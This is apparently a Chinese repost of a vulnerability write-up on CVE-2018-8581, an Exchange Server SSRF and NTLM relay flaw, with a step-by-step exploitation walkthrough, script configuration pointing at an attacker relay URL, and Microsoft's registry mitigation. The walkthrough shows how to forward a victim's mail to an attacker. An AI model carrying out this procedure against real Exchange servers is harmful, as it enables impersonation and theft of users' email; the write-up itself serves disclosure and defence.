zoukankan      html  css  js  c++  java
  • EXCHANGE上冒充任意用户--Exchange Server权限提升漏洞(CVE-2018-8581)分析

    0x00 前言

    这是我们2018年Top 5趣案系列中的第三个案例。这些漏洞都有一些因素使它们从今年发布的大约1,400个报告中脱颖而出。今天我们将分析一个Exchange漏洞,它允许任何经过身份验证的用户冒充Exchange Server上的其他用户。

    在ZDI的Dustin Childs 12月的文章 中,他提到了一个Exchange漏洞,允许Exchange服务器上的任何用户冒充该Exchange服务器上的任何人。虽然这个漏洞可以用于一些内网的劫持,但这个漏洞更有可能被用于钓鱼活动、窃取数据或其他恶意软件操作。作为2018年Top 5趣案系列的一部分,本文深入研究了这个SSRF(服务器端请求伪造)漏洞的细节,并展示了冒充过程是如何实现的。

    0x01 漏洞分析

    该漏洞是由SSRF漏洞和其他漏洞相结合造成的。Exchange允许任何用户为推送订阅指定所需的URL,服务器将尝试向这个URL发送通知。问题出在Exchange服务器使用CredentialCache.DefaultCredentials进行连接:

    在Exchange Web服务中,CredentialCache.DefaultCredentials在NT AUTHORITYSYSTEM上运行。这将导致Exchange Server向攻击者的服务器发送NTLM散列。Exchange服务器还默认设置了以下注册表项:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaDisableLoopbackCheck = 1

    这允许我们使用这些NTLM散列来进行HTTP身份验证。例如,可以使用这些散列来访问Exchange Web服务(EWS)。由于它在NT AUTHORITYSYSTEM级别运行,攻击者可以获得TokenSerializationRight的“特权”会话,然后可以使用SOAP请求头来冒充任何用户。

    下面是这样一个SOAP请求头的例子,它用SID S-1-5-21-4187549019-2363330540-1546371449-500冒充管理员。

    0x02 漏洞利用

    为了演示,我们将使用几个Python脚本:

    serverHTTP_relayNTLM.py– 通过入站连接获取NTLM散列并用于EWS身份验证

    exch_EWS_pushSubscribe.py – 导致PushSubscription EWS调用serverHTTP_relayNTLM.py

    你可以在这里下载这些脚本。你还需要python-NTLM模块。

    漏洞的第一步是获取我们要冒充的用户的SID。一种可能的使用方法是这样的:

    1.以授权用户身份登录OWA。在这里,我们以“攻击者”身份登录:

    2.接下来,创建任意新文件夹。在这个例子中,我们使用了temfold。点击context中“Permissions…”选项:

    3.在这里,添加要冒充的人的电子邮件。我们的目标是受害者victim@contoso.local

    4.现在我们需要按F12键并选择Network选项。然后在新文件夹中再次选择context中“Permissions…”选项。

    5.我们需要检查第一个service.svc?action=GetFolder请求的响应。查看方法:

    Body->ResponseMessages->Items->0->Folders->0->PermissionSet->Permissions->N->UserId->SID

    在这个例子中,N是2(最新的),但是你可以全部检查一遍以便找到正确的。PrimarySmtpAddress应该是理想的受害者。如果响应不包含PermissionSet项,则需要检查另一个service.svc?action=GetFolder请求。

    6.我们将在serverHTTP_relayNTLM.py中使用这个SID来冒充受害者。另外,我们还需要选择在攻击者控制的计算机上不太可能被阻止的TCP端口,这些端口将允许Exchange Server上的外部连接。例如,TCP端口8080可能可用。现在,让我们用真实信息更改serverHTTP_relayNTLM.py中的下一行:

    #Port for the HTTP server

    #Should be the same as in EVIL_HTTPSERVER_URL in Exch_EWS_pushSubscribe.py

    HTTPPORT = 8080

    #You have to replace next values by valid ip/address, port and protocol ('http' or 'https') to EWS 
    target_ip='exch2016.contoso.local'
    target_port = 443
    PROTO='https'
    #PROTO='http'
    #Path to EWS URL = "/EWS/Exchange.asmx"
    #SMTP addresses of attacker mailbox (we will receive all emails sent to victim) ATTACKER = "attacker@contoso.local" VICTIM_SID = "S-1-5-21-4187549019-2363330540-1546371449-2604"

    一旦脚本有了正确的变量,就可以启动了:

    7.下一步是在Exch_EWS_PushSubscribe.py脚本中设置适当的变量:

    #You have to replace next values by valid ip/address, port and protocol ('http' or 'https')
    ip='exch2016.contoso.local'
    tcp_port = 443
    #PROTO='http'
    PROTO='https'
    
    #Credentials of attacker
    USER = 'attacker'
    DOMAIN = 'contoso.local'
    PASS = 'P@ssw0rd'
    URL = "/EWS/Exchange.asmx"
    
    #URL of our HTTP server that will use NTLM hashes for impersonation of victim 
    
    EVIL_HTTPSERVER_URL = "http://192.168.50.173:8080/test"

    一旦完成,我们就可以执行以下脚本:

    8.最后一步。我们需要一些事件触发推送通知。如果可以等待一段时间,或者我们也可以执行一些操作,比如创建和发送新的电子邮件,或者删除我们的新文件

    如果成功,我们应该接收从Exchange服务器到serverHTTP_relayNTLM.py的入站连接:

    如果攻击成功,我们将在最后一个响应中看到UpdateInboxRulesResponse ResponseClass=“Success”。这意味着入站规则已添加到受害者邮箱中,所有入站电子邮件都将转发给攻击者。

    现在一切就绪,是时候测试了。我们需要从任意帐户向受害者发送电子邮件,但与我们新规则中的目的地不相同(在本例是attacker@contoso.local),因为如果源和目的地是相同的地址,则该规则不会转发电子邮件。让我们以管理员身份登录并向受害者发送一些“敏感”信息:

    检查攻击者的收件箱,我们看到消息成功转发:

    正如我们所看到的,新的邮件被转发给攻击者。类似的结果可以通过其他EWS API实现,比如AddDelegate或将编辑权限分配给目标文件夹。

    0x03 补丁

    微软将该漏洞分配为CVE-2018-8581,并在11月份发布时给出缓解措施。实际上这个漏洞还没有修补程序。相反,Microsoft强调应该删除注册表项。删除这个键可启用回送检查。回想上面的内容,Exchange服务器默认设置了以下注册表项:

    HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaDisableLoopbackCheck = 1

    如果删除HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaDisableLoopbackCheck键,则漏洞不可以。若要删除注册表项,请在CMD窗口中输入以下命令:

    删除密钥后不需要重新启动或Exchange Server。公告指出,将来Exchange的更新在默认情况下将不再启用注册表项。

    0x04 总结

    电子邮件已经成为我们商业生活的核心组成部分,Exchange Server多年来一直是一个热门的目标。该漏洞允许冒充用户,通过以前报告的漏洞允许任意代码执行。这两种情况都表明,有时最大的安全风险来自内部。这些漏洞还展示了外部攻击者如何从单个入口点在整个企业中扩散。

  • 相关阅读:
    Java for LeetCode 229 Majority Element II
    Java for LeetCode 228 Summary Ranges
    Java for LeetCode 227 Basic Calculator II
    Java for LintCode 颜色分类
    Java for LintCode 链表插入排序
    Java for LintCode 颠倒整数
    Java for LintCode 验证二叉查找树
    Java for LeetCode 226 Invert Binary Tree
    Java for LeetCode 225 Implement Stack using Queues
    Java for LeetCode 224 Basic Calculator
  • 原文地址:https://www.cnblogs.com/backlion/p/11047387.html
Copyright © 2011-2022 走看看